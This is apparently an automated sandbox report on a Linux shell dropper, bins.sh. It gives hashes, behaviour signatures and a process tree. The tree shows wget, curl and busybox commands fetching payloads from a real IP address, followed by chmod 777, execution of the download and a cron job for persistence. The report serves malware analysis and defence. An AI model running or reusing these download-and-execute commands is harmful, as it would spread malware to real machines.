Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    30-11-2024 16:12

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    ee91de469e47f5f54ebdfcf7ef65c3c6

  • SHA1

    32d746051ea6c4a4e59a2aac00b2b4b280c6e9eb

  • SHA256

    9a36958a4d26cded1d7d66285a93286e73a535ff7c20da542d734d8cc2f153d0

  • SHA512

    95646d628867c5dd3bb1cda8620ee820a53eb67b39fcbaac0f348f8c0eb6e9663bdd2d521eb83bb2260b9fe33234cc5d37f5a09c0b04cc9db0e35dc4d6dc7b00

  • SSDEEP

    96:rjYkn3/+UpxBJ8TaM/kn3cQH+188cPuYBJ86+NC/BKE:rjYkDBJ8TaMsBJ8JE

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1989) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:653
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:656
        • /usr/bin/wget
          wget http://216.126.231.240/bins/aLcsnlXAcbZddHxLL4B8BuAQQXC2QE4meM
          2⤵
          • Writes file to tmp directory
          PID:661
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/aLcsnlXAcbZddHxLL4B8BuAQQXC2QE4meM
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:684
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/aLcsnlXAcbZddHxLL4B8BuAQQXC2QE4meM
          2⤵
          • Writes file to tmp directory
          PID:691
        • /bin/chmod
          chmod 777 aLcsnlXAcbZddHxLL4B8BuAQQXC2QE4meM
          2⤵
          • File and Directory Permissions Modification
          PID:700
        • /tmp/aLcsnlXAcbZddHxLL4B8BuAQQXC2QE4meM
          ./aLcsnlXAcbZddHxLL4B8BuAQQXC2QE4meM
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:702
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:704
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:706
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:707
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:709
              • /bin/rm
                rm aLcsnlXAcbZddHxLL4B8BuAQQXC2QE4meM
                2⤵
                  PID:712
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/WK7rsfBi3Z7mWLIJdz3lEzgXXKeJFsrqv1
                  2⤵
                    PID:716
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/WK7rsfBi3Z7mWLIJdz3lEzgXXKeJFsrqv1
                    2⤵
                      PID:718

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • /tmp/aLcsnlXAcbZddHxLL4B8BuAQQXC2QE4meM

                    Filesize

                    177KB

                    MD5

                    786d75a158fe731feca3880f436082c0

                    SHA1

                    79ea2734e43d00cdeabed5586b2c1994d02aef3e

                    SHA256

                    5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                    SHA512

                    7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                  • /var/spool/cron/crontabs/tmp.kCKf3d

                    Filesize

                    210B

                    MD5

                    6a8265805d9a8eb692b403518cdcedd9

                    SHA1

                    1eef853ffea029a9fe723a2a646ea996515ecb79

                    SHA256

                    cf80c77e43e794e8f8894e9fe04f7fa7af26ad11d001bc196a9356fcc8505491

                    SHA512

                    b24a93eb1102647587d81f3cc4d3e245df2a4a27176e018a2714c089bc7c5c7737bffe3bd51cc4c597998882c27274e94f5a82699df91c447144f976380cb65d